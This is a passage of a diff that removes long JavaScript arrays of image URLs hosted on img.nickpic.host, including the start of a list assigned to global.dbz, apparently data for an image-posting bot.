-'https://img.nickpic.host/qDCaY1.jpg',
-'https://img.nickpic.host/qDClIj.jpg',
-'https://img.nickpic.host/qDC5gJ.jpg',
-'https://img.nickpic.host/qDCSDn.jpg',
-'https://img.nickpic.host/qDCcTs.jpg',
-'https://img.nickpic.host/qDCqa2.jpg',
-'https://img.nickpic.host/qDCunQ.jpg',
-'https://img.nickpic.host/qDCA9x.jpg',
-'https://img.nickpic.host/qDCOBN.jpg',
-'https://img.nickpic.host/qDCh6O.jpg',
-'https://img.nickpic.host/qDC6Hm.jpg',
-'https://img.nickpic.host/qDCQI8.jpg',
-'https://img.nickpic.host/qDCUqq.jpg',
-'https://img.nickpic.host/qDCtj5.jpg',
-'https://img.nickpic.host/qDCXDd.jpg',
-'https://img.nickpic.host/qDCiTD.jpg',
-'https://img.nickpic.host/qDCR9M.jpg',
-'https://img.nickpic.host/qDCMnP.jpg',
-'https://img.nickpic.host/qDC4bF.jpg',
-'https://img.nickpic.host/qDCD6e.jpg',
-'https://img.nickpic.host/qDCwHX.jpg',
-'https://img.nickpic.host/qDCKw6.jpg',
-'https://img.nickpic.host/qDC7mb.jpg',
-'https://img.nickpic.host/qDC8qf.jpg',
-'https://img.nickpic.host/qDCYWp.jpg',
-'https://img.nickpic.host/qDCNjY.jpg',
-'https://img.nickpic.host/qDCVtA.jpg',
-'https://img.nickpic.host/qDCfeG.jpg',
-'https://img.nickpic.host/qDC2bz.jpg',
-'https://img.nickpic.host/qDCJm1.jpg',
-'https://img.nickpic.host/qDC9Cc.jpg',
-'https://img.nickpic.host/qDCeHW.jpg',
-'https://img.nickpic.host/qDCLuj.jpg',
-'https://img.nickpic.host/qDCPwJ.jpg',
-'https://img.nickpic.host/qDCTWn.jpg',
-'https://img.nickpic.host/qDCZls.jpg',
-'https://img.nickpic.host/qDCdt2.jpg',
-'https://img.nickpic.host/qDCyeQ.jpg',
-'https://img.nickpic.host/qDQIrx.jpg',
-'https://img.nickpic.host/qDQmCN.jpg',
-'https://img.nickpic.host/qDQoNO.jpg',
-'https://img.nickpic.host/qDQvom.jpg',
-'https://img.nickpic.host/qDQxu8.jpg',
-'https://img.nickpic.host/qDQBzq.jpg',
-'https://img.nickpic.host/qDQbWd.jpg',
-'https://img.nickpic.host/qDQslD.jpg',
-'https://img.nickpic.host/qDQ3M5.jpg',
-'https://img.nickpic.host/qDQFeP.jpg',
-'https://img.nickpic.host/qDQjrM.jpg',
-'https://img.nickpic.host/qDQlQF.jpg',
-'https://img.nickpic.host/qDQ5Ne.jpg',
-'https://img.nickpic.host/qDQcoX.jpg',
-'https://img.nickpic.host/qDQqzf.jpg',
-'https://img.nickpic.host/qDQgAb.jpg',
-'https://img.nickpic.host/qDQuZ6.jpg',
-'https://img.nickpic.host/qDQOMY.jpg',
-'https://img.nickpic.host/qDQE5p.jpg',
-'https://img.nickpic.host/qDQhkA.jpg',
-'https://img.nickpic.host/qDQCsG.jpg',
-'https://img.nickpic.host/qDQQQz.jpg',
-'https://img.nickpic.host/qDQUVc.jpg',
-'https://img.nickpic.host/qDQioW.jpg',
-'https://img.nickpic.host/qDQMZJ.jpg',
-'https://img.nickpic.host/qDQnA1.jpg',
-'https://img.nickpic.host/qDQt7j.jpg',
-'https://img.nickpic.host/qDQ15n.jpg',
-'https://img.nickpic.host/qDQ4Rs.jpg',
-'https://img.nickpic.host/qDQDk2.jpg',
-'https://img.nickpic.host/qDQzsQ.jpg',
-'https://img.nickpic.host/qDQ7Ux.jpg',
-'https://img.nickpic.host/qDQYpO.jpg',
-'https://img.nickpic.host/qDQ8VN.jpg',
-'https://img.nickpic.host/qDQHEm.jpg',
-'https://img.nickpic.host/qDQN78.jpg',
-'https://img.nickpic.host/qDQVdq.jpg',
-'https://img.nickpic.host/qDQ05d.jpg',
-'https://img.nickpic.host/qDQ2RD.jpg',
-'https://img.nickpic.host/qDQksP.jpg',
-'https://img.nickpic.host/qDQ9J5.jpg',
-'https://img.nickpic.host/qDQJUM.jpg',
-'https://img.nickpic.host/qDQLfF.jpg',
-'https://img.nickpic.host/qDQTpe.jpg',
-'https://img.nickpic.host/qDQWEX.jpg',
-'https://img.nickpic.host/qDQZ8b.jpg',
-'https://img.nickpic.host/qDQddf.jpg',
-'https://img.nickpic.host/qDUGS6.jpg',
-'https://img.nickpic.host/qDUI1p.jpg',
-'https://img.nickpic.host/qDUmJY.jpg',
-'https://img.nickpic.host/qDUp3A.jpg',
-'https://img.nickpic.host/qDUvXG.jpg',
-'https://img.nickpic.host/qDUxfz.jpg',
-'https://img.nickpic.host/qDUbvc.jpg',
-'https://img.nickpic.host/qDUrEW.jpg',
-'https://img.nickpic.host/qDUs81.jpg',
-'https://img.nickpic.host/qDU3yj.jpg',
-'https://img.nickpic.host/qDUaSJ.jpg',
-'https://img.nickpic.host/qDUj1n.jpg',
-'https://img.nickpic.host/qDUlLs.jpg',
-'https://img.nickpic.host/qDUcXQ.jpg',
-'https://img.nickpic.host/qDUS32.jpg',
-'https://img.nickpic.host/qDUg0x.jpg',
-'https://img.nickpic.host/qDUuvN.jpg',
-'https://img.nickpic.host/qDUAOO.jpg',
-'https://img.nickpic.host/qDUEKm.jpg',
-'https://img.nickpic.host/qDUOy8.jpg',
-'https://img.nickpic.host/qDU6cq.jpg',
-'https://img.nickpic.host/qDUC1d.jpg',
-'https://img.nickpic.host/qDUQLD.jpg',
-'https://img.nickpic.host/qDUXF5.jpg',
-'https://img.nickpic.host/qDUiXP.jpg',
-'https://img.nickpic.host/qDUn0M.jpg',
-'https://img.nickpic.host/qDUROe.jpg',
-'https://img.nickpic.host/qDUMxF.jpg',
-'https://img.nickpic.host/qDU1KX.jpg',
-'https://img.nickpic.host/qDUDGb.jpg',
-'https://img.nickpic.host/qDUwcf.jpg',
-'https://img.nickpic.host/qDUz46.jpg',
-'https://img.nickpic.host/qDU7Pp.jpg',
-'https://img.nickpic.host/qDUKFY.jpg',
-'https://img.nickpic.host/qDUYiA.jpg',
-'https://img.nickpic.host/qDUfhc.jpg',
-'https://img.nickpic.host/qDUH2G.jpg',
-'https://img.nickpic.host/qDUVxz.jpg',
-'https://img.nickpic.host/qDU0KW.jpg',
-'https://img.nickpic.host/qDU9G1.jpg',
-'https://img.nickpic.host/qDUegj.jpg',
-'https://img.nickpic.host/qDUk4J.jpg',
-'https://img.nickpic.host/qDUJPn.jpg',
-'https://img.nickpic.host/qDUTi2.jpg',
-'https://img.nickpic.host/qDUW2Q.jpg',
-'https://img.nickpic.host/qDUPas.jpg',
-'https://img.nickpic.host/qDUdBx.jpg',
-'https://img.nickpic.host/qDUyhN.jpg',
-'https://img.nickpic.host/qDXGYO.jpg',
-'https://img.nickpic.host/qDXmIm.jpg',
-'https://img.nickpic.host/qDXog8.jpg',
-'https://img.nickpic.host/qDXpDq.jpg',
-'https://img.nickpic.host/qDXvPd.jpg',
-'https://img.nickpic.host/qDXBaD.jpg',
-'https://img.nickpic.host/qDXbn5.jpg',
-'https://img.nickpic.host/qDXr2P.jpg',
-'https://img.nickpic.host/qDX3BM.jpg',
-'https://img.nickpic.host/qDXaYe.jpg',
-'https://img.nickpic.host/qDXF6F.jpg',
-'https://img.nickpic.host/qDXlIX.jpg',
-'https://img.nickpic.host/qDX5qb.jpg',
-'https://img.nickpic.host/qDXSDf.jpg',
-'https://img.nickpic.host/qDXcT6.jpg',
-'https://img.nickpic.host/qDXqjp.jpg',
-'https://img.nickpic.host/qDXunY.jpg',
-'https://img.nickpic.host/qDXObG.jpg',
-'https://img.nickpic.host/qDXA9A.jpg',
-'https://img.nickpic.host/qDXh6z.jpg',
-'https://img.nickpic.host/qDXQIW.jpg',
-'https://img.nickpic.host/qDX6Hc.jpg',
-'https://img.nickpic.host/qDXXwj.jpg',
-'https://img.nickpic.host/qDXUq1.jpg',
-'https://img.nickpic.host/qDXiTJ.jpg',
-'https://img.nickpic.host/qDXtjn.jpg',
-'https://img.nickpic.host/qDXMts.jpg',
-'https://img.nickpic.host/qDXDCx.jpg',
-'https://img.nickpic.host/qDX4bQ.jpg',
-'https://img.nickpic.host/qDXwHN.jpg',
-'https://img.nickpic.host/qDXR92.jpg',
-'https://img.nickpic.host/qDX7mO.jpg',
-'https://img.nickpic.host/qDX8um.jpg',
-'https://img.nickpic.host/qDXKw8.jpg',
-'https://img.nickpic.host/qDXYWq.jpg',
-'https://img.nickpic.host/qDXNjd.jpg',
-'https://img.nickpic.host/qDXfe5.jpg',
-'https://img.nickpic.host/qDXVtD.jpg',
-'https://img.nickpic.host/qDX2bP.jpg',
-'https://img.nickpic.host/qDX9CM.jpg',
-'https://img.nickpic.host/qDXeNF.jpg',
-'https://img.nickpic.host/qDXJme.jpg',
-'https://img.nickpic.host/qDXLuX.jpg',
-'https://img.nickpic.host/qDXTWf.jpg',
-'https://img.nickpic.host/qDXPzb.jpg',
-'https://img.nickpic.host/qDXZl6.jpg',
-'https://img.nickpic.host/qDXdMp.jpg',
-'https://img.nickpic.host/qDXyeY.jpg',
-'https://img.nickpic.host/qDiIrA.jpg',
-'https://img.nickpic.host/qDimQG.jpg',
-'https://img.nickpic.host/qDivoc.jpg',
-'https://img.nickpic.host/qDioNz.jpg',
-'https://img.nickpic.host/qDixuW.jpg',
-'https://img.nickpic.host/qDiBz1.jpg',
-'https://img.nickpic.host/qDibZj.jpg',
-'https://img.nickpic.host/qDi3Mn.jpg',
-'https://img.nickpic.host/qDislJ.jpg',
-'https://img.nickpic.host/qDiFks.jpg',
-'https://img.nickpic.host/qDijr2.jpg',
-'https://img.nickpic.host/qDi5Vx.jpg',
-'https://img.nickpic.host/qDicoN.jpg',
-'https://img.nickpic.host/qDilQQ.jpg',
-'https://img.nickpic.host/qDigAO.jpg',
-'https://img.nickpic.host/qDiq7m.jpg',
-'https://img.nickpic.host/qDiuZ8.jpg',
-'https://img.nickpic.host/qDiE5q.jpg',
-'https://img.nickpic.host/qDiOMd.jpg',
-'https://img.nickpic.host/qDihkD.jpg',
-'https://img.nickpic.host/qDiCs5.jpg',
-'https://img.nickpic.host/qDiQQP.jpg',
-'https://img.nickpic.host/qDiipF.jpg',
-'https://img.nickpic.host/qDiUVM.jpg',
-'https://img.nickpic.host/qDinAe.jpg',
-'https://img.nickpic.host/qDit7X.jpg',
-'https://img.nickpic.host/qDiMdb.jpg',
-'https://img.nickpic.host/qDi4R6.jpg',
-'https://img.nickpic.host/qDi15f.jpg',
-'https://img.nickpic.host/qDiDJp.jpg',
-'https://img.nickpic.host/qDizsY.jpg',
-'https://img.nickpic.host/qDi7UA.jpg',
-'https://img.nickpic.host/qDiYpz.jpg',
-'https://img.nickpic.host/qDi8fG.jpg',
-'https://img.nickpic.host/qDiHEc.jpg',
-'https://img.nickpic.host/qDiN7W.jpg',
-'https://img.nickpic.host/qDiVd1.jpg',
-'https://img.nickpic.host/qDi2RJ.jpg',
-'https://img.nickpic.host/qDi0Sj.jpg',
-'https://img.nickpic.host/qDi9Jn.jpg',
-'https://img.nickpic.host/qDik3s.jpg',
-'https://img.nickpic.host/qDiJU2.jpg',
-'https://img.nickpic.host/qDiLfQ.jpg',
-'https://img.nickpic.host/qDiTvx.jpg',
-'https://img.nickpic.host/qDiWEN.jpg',
-'https://img.nickpic.host/qDnI1q.jpg',
-'https://img.nickpic.host/qDiZ8O.jpg',
-'https://img.nickpic.host/qDidym.jpg',
-'https://img.nickpic.host/qDnGS8.jpg',
-'https://img.nickpic.host/qDnmJd.jpg',
-'https://img.nickpic.host/qDnp3D.jpg',
-'https://img.nickpic.host/qDns8e.jpg',
-'https://img.nickpic.host/qDnvX5.jpg',
-'https://img.nickpic.host/qDnbvM.jpg',
-'https://img.nickpic.host/qDnxfP.jpg',
-'https://img.nickpic.host/qDnrOF.jpg',
-'https://img.nickpic.host/qDn3yX.jpg',
-'https://img.nickpic.host/qDnacb.jpg',
-'https://img.nickpic.host/qDnj1f.jpg',
-'https://img.nickpic.host/qDnlL6.jpg',
-'https://img.nickpic.host/qDnSFp.jpg',
-'https://img.nickpic.host/qDng0A.jpg',
-'https://img.nickpic.host/qDncXY.jpg',
-'https://img.nickpic.host/qDnuxG.jpg',
-'https://img.nickpic.host/qDnAOz.jpg',
-'https://img.nickpic.host/qDnEKc.jpg',
-'https://img.nickpic.host/qDnOyW.jpg',
-'https://img.nickpic.host/qDn6c1.jpg',
-'https://img.nickpic.host/qDnQLJ.jpg',
-'https://img.nickpic.host/qDnC4j.jpg',
-'https://img.nickpic.host/qDniis.jpg',
-'https://img.nickpic.host/qDnXFn.jpg',
-'https://img.nickpic.host/qDnn02.jpg',
-'https://img.nickpic.host/qDnMxQ.jpg',
-'https://img.nickpic.host/qDn1KN.jpg',
-'https://img.nickpic.host/qDnRhx.jpg',
-'https://img.nickpic.host/qDnwgm.jpg',
-'https://img.nickpic.host/qDnDGO.jpg',
-'https://img.nickpic.host/qDnz48.jpg',
-'https://img.nickpic.host/qDn7Pq.jpg',
-'https://img.nickpic.host/qDnKFd.jpg',
-'https://img.nickpic.host/qDnH25.jpg',
-'https://img.nickpic.host/qDnYiD.jpg',
-'https://img.nickpic.host/qDnfhM.jpg',
-'https://img.nickpic.host/qDnVxP.jpg',
-'https://img.nickpic.host/qDn9Ge.jpg',
-'https://img.nickpic.host/qDn0YF.jpg',
-'https://img.nickpic.host/qDnegX.jpg',
-'https://img.nickpic.host/qDnJPf.jpg',
-'https://img.nickpic.host/qDnkDb.jpg',
-'https://img.nickpic.host/qDnPa6.jpg',
-'https://img.nickpic.host/qDnTnp.jpg',
-'https://img.nickpic.host/qDnW2Y.jpg',
-'https://img.nickpic.host/qDndBA.jpg',
-'https://img.nickpic.host/qDtGYz.jpg',
-'https://img.nickpic.host/qDny6G.jpg',
-'https://img.nickpic.host/qDtmIc.jpg',
-'https://img.nickpic.host/qDtogW.jpg',
-'https://img.nickpic.host/qDtpD1.jpg',
-'https://img.nickpic.host/qDtvTj.jpg',
-'https://img.nickpic.host/qDtBaJ.jpg',
-'https://img.nickpic.host/qDtbnn.jpg',
-'https://img.nickpic.host/qDtr9s.jpg',
-'https://img.nickpic.host/qDt3B2.jpg',
-'https://img.nickpic.host/qDtF6Q.jpg',
-'https://img.nickpic.host/qDtaHx.jpg',
-'https://img.nickpic.host/qDtlIN.jpg',
-'https://img.nickpic.host/qDt5qO.jpg',
-'https://img.nickpic.host/qDtSwm.jpg',
-'https://img.nickpic.host/qDtcT8.jpg',
-'https://img.nickpic.host/qDtqjq.jpg',
-'https://img.nickpic.host/qDtund.jpg',
-'https://img.nickpic.host/qDtA9D.jpg',
-'https://img.nickpic.host/qDtOb5.jpg',
-'https://img.nickpic.host/qDth6P.jpg',
-'https://img.nickpic.host/qDtUqe.jpg',
-'https://img.nickpic.host/qDt6HM.jpg',
-'https://img.nickpic.host/qDtQmF.jpg',
-'https://img.nickpic.host/qDtXwX.jpg',
-'https://img.nickpic.host/qDtiWb.jpg',
-'https://img.nickpic.host/qDtMt6.jpg',
-'https://img.nickpic.host/qDttjf.jpg',
-'https://img.nickpic.host/qDtRep.jpg',
-'https://img.nickpic.host/qDt4bY.jpg',
-'https://img.nickpic.host/qDtDCA.jpg',
-'https://img.nickpic.host/qDtwNG.jpg',
-'https://img.nickpic.host/qDt7mz.jpg',
-'https://img.nickpic.host/qDt8uc.jpg',
-'https://img.nickpic.host/qDtKwW.jpg',
-'https://img.nickpic.host/qDtYW1.jpg',
-'https://img.nickpic.host/qDtNlj.jpg',
-'https://img.nickpic.host/qDtVtJ.jpg',
-'https://img.nickpic.host/qDtfen.jpg',
-'https://img.nickpic.host/qDt2rs.jpg',
-'https://img.nickpic.host/qDt9C2.jpg',
-'https://img.nickpic.host/qDteNQ.jpg',
-'https://img.nickpic.host/qDtJox.jpg',
-'https://img.nickpic.host/qDtLuN.jpg',
-'https://img.nickpic.host/qDtPzO.jpg',
-'https://img.nickpic.host/qDtTZm.jpg',
-'https://img.nickpic.host/qDtZl8.jpg',
-'https://img.nickpic.host/qDtdMq.jpg',
-'https://img.nickpic.host/qDMIrD.jpg',
-'https://img.nickpic.host/qDtyed.jpg',
-'https://img.nickpic.host/qDMmQ5.jpg',
-'https://img.nickpic.host/qDMoNP.jpg',
-'https://img.nickpic.host/qDMvoM.jpg',
-'https://img.nickpic.host/qDMxAF.jpg',
-'https://img.nickpic.host/qDMBze.jpg',
-'https://img.nickpic.host/qDMbZX.jpg',
-'https://img.nickpic.host/qDMs5b.jpg',
-'https://img.nickpic.host/qDM3Mf.jpg',
-'https://img.nickpic.host/qDMFk6.jpg',
-'https://img.nickpic.host/qDMjsp.jpg',
-'https://img.nickpic.host/qDMlQY.jpg',
-'https://img.nickpic.host/qDM5VA.jpg',
-'https://img.nickpic.host/qDMcpG.jpg',
-'https://img.nickpic.host/qDMgAz.jpg',
-'https://img.nickpic.host/qDMq7c.jpg',
-'https://img.nickpic.host/qDMuZW.jpg',
-'https://img.nickpic.host/qDME51.jpg',
-'https://img.nickpic.host/qDMORj.jpg',
-'https://img.nickpic.host/qDMCsn.jpg',
-'https://img.nickpic.host/qDMhkJ.jpg',
-'https://img.nickpic.host/qDMQUs.jpg',
-'https://img.nickpic.host/qDMUV2.jpg',
-'https://img.nickpic.host/qDMipQ.jpg',
-'https://img.nickpic.host/qDMt7N.jpg',
-'https://img.nickpic.host/qDMnEx.jpg',
-'https://img.nickpic.host/qDMMdO.jpg',
-'https://img.nickpic.host/qDM1Sm.jpg',
-'https://img.nickpic.host/qDM4R8.jpg',
-'https://img.nickpic.host/qDMzsd.jpg',
-'https://img.nickpic.host/qDMDJq.jpg',
-'https://img.nickpic.host/qDM8f5.jpg',
-'https://img.nickpic.host/qDM7UD.jpg',
-'https://img.nickpic.host/qDMYpP.jpg',
-'https://img.nickpic.host/qDMHEM.jpg',
-'https://img.nickpic.host/qDMN8F.jpg',
-'https://img.nickpic.host/qDMVde.jpg',
-'https://img.nickpic.host/qDM0SX.jpg',
-'https://img.nickpic.host/qDM21b.jpg',
-'https://img.nickpic.host/qDM9Jf.jpg',
-'https://img.nickpic.host/qDMk36.jpg',
-'https://img.nickpic.host/qDMJXp.jpg',
-'https://img.nickpic.host/qDMLfY.jpg',
-'https://img.nickpic.host/qDMTvA.jpg',
-'https://img.nickpic.host/qDMWOG.jpg',
-'https://img.nickpic.host/qDMdyc.jpg',
-'https://img.nickpic.host/qDMZ8z.jpg',
-'https://img.nickpic.host/qDRGSW.jpg',
-'https://img.nickpic.host/qDRI11.jpg',
-'https://img.nickpic.host/qDRmLj.jpg',
-'https://img.nickpic.host/qDRp3J.jpg',
-'https://img.nickpic.host/qDRvXn.jpg',
-'https://img.nickpic.host/qDRx0s.jpg',
-'https://img.nickpic.host/qDRbv2.jpg',
-'https://img.nickpic.host/qDRrOQ.jpg',
-'https://img.nickpic.host/qDRsKx.jpg',
-'https://img.nickpic.host/qDR3yN.jpg',
-'https://img.nickpic.host/qDRacO.jpg',
-'https://img.nickpic.host/qDRj4m.jpg',
-'https://img.nickpic.host/qDRlL8.jpg',
-'https://img.nickpic.host/qDRSFq.jpg',
-'https://img.nickpic.host/qDRcXd.jpg',
-'https://img.nickpic.host/qDRg0D.jpg',
-'https://img.nickpic.host/qDRux5.jpg',
-'https://img.nickpic.host/qDRAOP.jpg',
-'https://img.nickpic.host/qDREKM.jpg',
-'https://img.nickpic.host/qDR6ce.jpg',
-'https://img.nickpic.host/qDRhGF.jpg',
-'https://img.nickpic.host/qDRC4X.jpg',
-'https://img.nickpic.host/qDRQPb.jpg',
-'https://img.nickpic.host/qDRii6.jpg',
-'https://img.nickpic.host/qDRXFf.jpg',
-'https://img.nickpic.host/qDRn2p.jpg',
-'https://img.nickpic.host/qDRRhA.jpg',
-'https://img.nickpic.host/qDRMxY.jpg',
-'https://img.nickpic.host/qDRDGz.jpg',
-'https://img.nickpic.host/qDR1YG.jpg',
-'https://img.nickpic.host/qDRz4W.jpg',
-'https://img.nickpic.host/qDRwgc.jpg',
-'https://img.nickpic.host/qDR7P1.jpg',
-'https://img.nickpic.host/qDRKaj.jpg',
-'https://img.nickpic.host/qDRYiJ.jpg',
-'https://img.nickpic.host/qDRVBs.jpg',
-'https://img.nickpic.host/qDRH2n.jpg',
-'https://img.nickpic.host/qDR0YQ.jpg',
-'https://img.nickpic.host/qDRfh2.jpg',
-'https://img.nickpic.host/qDRegN.jpg',
-'https://img.nickpic.host/qDR9Ix.jpg',
-'https://img.nickpic.host/qDRkDO.jpg',
-'https://img.nickpic.host/qDRPa8.jpg',
-'https://img.nickpic.host/qDRJTm.jpg',
-'https://img.nickpic.host/qDRW2d.jpg',
-'https://img.nickpic.host/qDRTnq.jpg',
-'https://img.nickpic.host/qDRy65.jpg',
-'https://img.nickpic.host/qDRdBD.jpg',
-'https://img.nickpic.host/qD1GYP.jpg',
-'https://img.nickpic.host/qD1oqF.jpg',
-'https://img.nickpic.host/qD1mIM.jpg',
-'https://img.nickpic.host/qD1vTX.jpg',
-'https://img.nickpic.host/qD1pDe.jpg',
-'https://img.nickpic.host/qD1Bjb.jpg',
-'https://img.nickpic.host/qD1bnf.jpg',
-'https://img.nickpic.host/qD1r96.jpg',
-'https://img.nickpic.host/qD1F6Y.jpg',
-'https://img.nickpic.host/qD13bp.jpg',
-'https://img.nickpic.host/qD1lmG.jpg',
-'https://img.nickpic.host/qD1aHA.jpg',
-'https://img.nickpic.host/qD1Swc.jpg',
-'https://img.nickpic.host/qD15qz.jpg',
-'https://img.nickpic.host/qD1cTW.jpg',
-'https://img.nickpic.host/qD1utj.jpg',
-'https://img.nickpic.host/qD1qj1.jpg',
-'https://img.nickpic.host/qD1Obn.jpg',
-'https://img.nickpic.host/qD1A9J.jpg',
-'https://img.nickpic.host/qD16H2.jpg',
-'https://img.nickpic.host/qD1hCs.jpg',
-'https://img.nickpic.host/qD1QmQ.jpg',
-'https://img.nickpic.host/qD1XwN.jpg',
-'https://img.nickpic.host/qD1Uux.jpg',
-'https://img.nickpic.host/qD1iWO.jpg',
-'https://img.nickpic.host/qD1tlm.jpg',
-'https://img.nickpic.host/qD1Req.jpg',
-'https://img.nickpic.host/qD1Mt8.jpg',
-'https://img.nickpic.host/qD14bd.jpg',
-'https://img.nickpic.host/qD1DCD.jpg',
-'https://img.nickpic.host/qD18uM.jpg',
-'https://img.nickpic.host/qD1wN5.jpg',
-'https://img.nickpic.host/qD17mP.jpg',
-'https://img.nickpic.host/qD1KzF.jpg',
-'https://img.nickpic.host/qD1YWe.jpg',
-'https://img.nickpic.host/qD1VMb.jpg',
-'https://img.nickpic.host/qD1NlX.jpg',
-'https://img.nickpic.host/qD1fef.jpg',
-'https://img.nickpic.host/qD12r6.jpg',
-'https://img.nickpic.host/qD19Qp.jpg',
-'https://img.nickpic.host/qD1eNY.jpg',
-'https://img.nickpic.host/qD1LAG.jpg',
-'https://img.nickpic.host/qD1JoA.jpg',
-'https://img.nickpic.host/qD1dM1.jpg',
-'https://img.nickpic.host/qD1Pzz.jpg',
-'https://img.nickpic.host/qD1TZc.jpg',
-'https://img.nickpic.host/qD1ZlW.jpg',
-'https://img.nickpic.host/qD1ykj.jpg',
-'https://img.nickpic.host/qD4oVs.jpg',
-'https://img.nickpic.host/qD4IrJ.jpg',
-'https://img.nickpic.host/qD4mQn.jpg',
-'https://img.nickpic.host/qD4vo2.jpg',
-'https://img.nickpic.host/qD4xAQ.jpg',
-'https://img.nickpic.host/qD4bZN.jpg',
-'https://img.nickpic.host/qD4B7x.jpg',
-'https://img.nickpic.host/qD4Fk8.jpg',
-'https://img.nickpic.host/qD4s5O.jpg',
-'https://img.nickpic.host/qD43Rm.jpg',
-'https://img.nickpic.host/qD4jsq.jpg',
-'https://img.nickpic.host/qD4lQd.jpg',
-'https://img.nickpic.host/qD4cp5.jpg',
-'https://img.nickpic.host/qD45VD.jpg',
-'https://img.nickpic.host/qD4gAP.jpg',
-'https://img.nickpic.host/qD4udF.jpg',
-'https://img.nickpic.host/qD4q7M.jpg',
-'https://img.nickpic.host/qD4ORX.jpg',
-'https://img.nickpic.host/qD4E5e.jpg',
-'https://img.nickpic.host/qD4Csf.jpg',
-'https://img.nickpic.host/qD4hJb.jpg',
-'https://img.nickpic.host/qD4QU6.jpg',
-'https://img.nickpic.host/qD4Ufp.jpg',
-'https://img.nickpic.host/qD4ipY.jpg',
-'https://img.nickpic.host/qD4t8G.jpg',
-'https://img.nickpic.host/qD4nEA.jpg',
-'https://img.nickpic.host/qD41Sc.jpg',
-'https://img.nickpic.host/qD4Mdz.jpg',
-'https://img.nickpic.host/qD4DJ1.jpg',
-'https://img.nickpic.host/qD44RW.jpg',
-'https://img.nickpic.host/qD4z3j.jpg',
-'https://img.nickpic.host/qD47UJ.jpg',
-'https://img.nickpic.host/qD48fn.jpg',
-'https://img.nickpic.host/qD4HE2.jpg',
-'https://img.nickpic.host/qD4Yvs.jpg',
-'https://img.nickpic.host/qD40SN.jpg',
-'https://img.nickpic.host/qD4N8Q.jpg',
-'https://img.nickpic.host/qD4Vyx.jpg',
-'https://img.nickpic.host/qD421O.jpg',
-'https://img.nickpic.host/qD49Lm.jpg',
-'https://img.nickpic.host/qD4k38.jpg',
-'https://img.nickpic.host/qD4JXq.jpg',
-'https://img.nickpic.host/qD4Lfd.jpg',
-'https://img.nickpic.host/qD4Z8P.jpg',
-'https://img.nickpic.host/qD4TvD.jpg',
-'https://img.nickpic.host/qD4WO5.jpg',
-'https://img.nickpic.host/qD4dyM.jpg',
-'https://img.nickpic.host/qDDGcF.jpg',
-'https://img.nickpic.host/qDDI1e.jpg',
-'https://img.nickpic.host/qDDmLX.jpg',
-'https://img.nickpic.host/qDDpFb.jpg',
-'https://img.nickpic.host/qDDx06.jpg',
-'https://img.nickpic.host/qDDsKA.jpg',
-'https://img.nickpic.host/qDDbxp.jpg',
-'https://img.nickpic.host/qDDrOY.jpg',
-'https://img.nickpic.host/qDDFGG.jpg',
-'https://img.nickpic.host/qDDacz.jpg']
-
-
-global.dbz = ['https://img.nickpic.host/q1MbuW.jpg',
-'https://img.nickpic.host/q1MvNz.jpg',
-'https://img.nickpic.host/q1MpQG.jpg',
-'https://img.nickpic.host/q1MorA.jpg',
-'https://img.nickpic.host/q1MIeY.jpg',
-'https://img.nickpic.host/q1MGMp.jpg',
-'https://img.nickpic.host/q1tWzb.jpg',
-'https://img.nickpic.host/q1tyl6.jpg',
-'https://img.nickpic.host/q1tZWf.jpg',
-'https://img.nickpic.host/q1tTuX.jpg',
-'https://img.nickpic.host/q1MBoc.jpg',
-'https://img.nickpic.host/q1Mrz1.jpg',
-'https://img.nickpic.host/q1MsZj.jpg',
-'https://img.nickpic.host/q1MFlJ.jpg',
-'https://img.nickpic.host/q1MaMn.jpg',
-'https://img.nickpic.host/q1Mjks.jpg',
-'https://img.nickpic.host/q1M5r2.jpg',
-'https://img.nickpic.host/q1MSQQ.jpg',
-'https://img.nickpic.host/q1McVx.jpg',
-'https://img.nickpic.host/q1MqoN.jpg',
-'https://img.nickpic.host/q1MuAO.jpg',
-'https://img.nickpic.host/q1MA7m.jpg',
-'https://img.nickpic.host/q1MEZ8.jpg',
-'https://img.nickpic.host/q1Mh5q.jpg',
-'https://img.nickpic.host/q1M6Md.jpg',
-'https://img.nickpic.host/q1MCkD.jpg',
-'https://img.nickpic.host/q1MUs5.jpg',
-'https://img.nickpic.host/q1MXQP.jpg',
-'https://img.nickpic.host/q1MiVM.jpg',
-'https://img.nickpic.host/q1MtpF.jpg',
-'https://img.nickpic.host/q1MMAe.jpg',
-'https://img.nickpic.host/q1MR7X.jpg',
-'https://img.nickpic.host/q1M1db.jpg',
-'https://img.nickpic.host/q1MD5f.jpg',
-'https://img.nickpic.host/q1MwR6.jpg',
-'https://img.nickpic.host/q1MzJp.jpg',
-'https://img.nickpic.host/q1M8sY.jpg',
-'https://img.nickpic.host/q1MKUA.jpg',
-'https://img.nickpic.host/q1MYfG.jpg',
-'https://img.nickpic.host/q1MNpz.jpg',
-'https://img.nickpic.host/q1MVEc.jpg',
-'https://img.nickpic.host/q1Mf7W.jpg',
-'https://img.nickpic.host/q1M0d1.jpg',
-'https://img.nickpic.host/q1M9Sj.jpg',
-'https://img.nickpic.host/q1MeRJ.jpg',
-'https://img.nickpic.host/q1MkJn.jpg',
-'https://img.nickpic.host/q1ML3s.jpg',
-'https://img.nickpic.host/q1MPU2.jpg',
-'https://img.nickpic.host/q1MTfQ.jpg',
-'https://img.nickpic.host/q1MZvx.jpg',
-'https://img.nickpic.host/q1MdEN.jpg',
-'https://img.nickpic.host/q1My8O.jpg',
-'https://img.nickpic.host/q1RGym.jpg',
-'https://img.nickpic.host/q1RmS8.jpg',
-'https://img.nickpic.host/q1Ro1q.jpg',
-'https://img.nickpic.host/q1RpJd.jpg',
-'https://img.nickpic.host/q1Rx3D.jpg',
-'https://img.nickpic.host/q1RBX5.jpg',
-'https://img.nickpic.host/q1RbfP.jpg',
-'https://img.nickpic.host/q1RsvM.jpg',
-'https://img.nickpic.host/q1R3OF.jpg',
-'https://img.nickpic.host/q1RF8e.jpg',
-'https://img.nickpic.host/q1RayX.jpg',
-'https://img.nickpic.host/q1Rlcb.jpg',
-'https://img.nickpic.host/q1R51f.jpg',
-'https://img.nickpic.host/q1RSL6.jpg',
-'https://img.nickpic.host/q1RgFp.jpg',
-'https://img.nickpic.host/q1RqXY.jpg',
-'https://img.nickpic.host/q1Ru0A.jpg',
-'https://img.nickpic.host/q1RExG.jpg',
-'https://img.nickpic.host/q1ROOz.jpg',
-'https://img.nickpic.host/q1RhKc.jpg',
-'https://img.nickpic.host/q1R6yW.jpg',
-'https://img.nickpic.host/q1RQc1.jpg',
-'https://img.nickpic.host/q1RU4j.jpg',
-'https://img.nickpic.host/q1RXLJ.jpg',
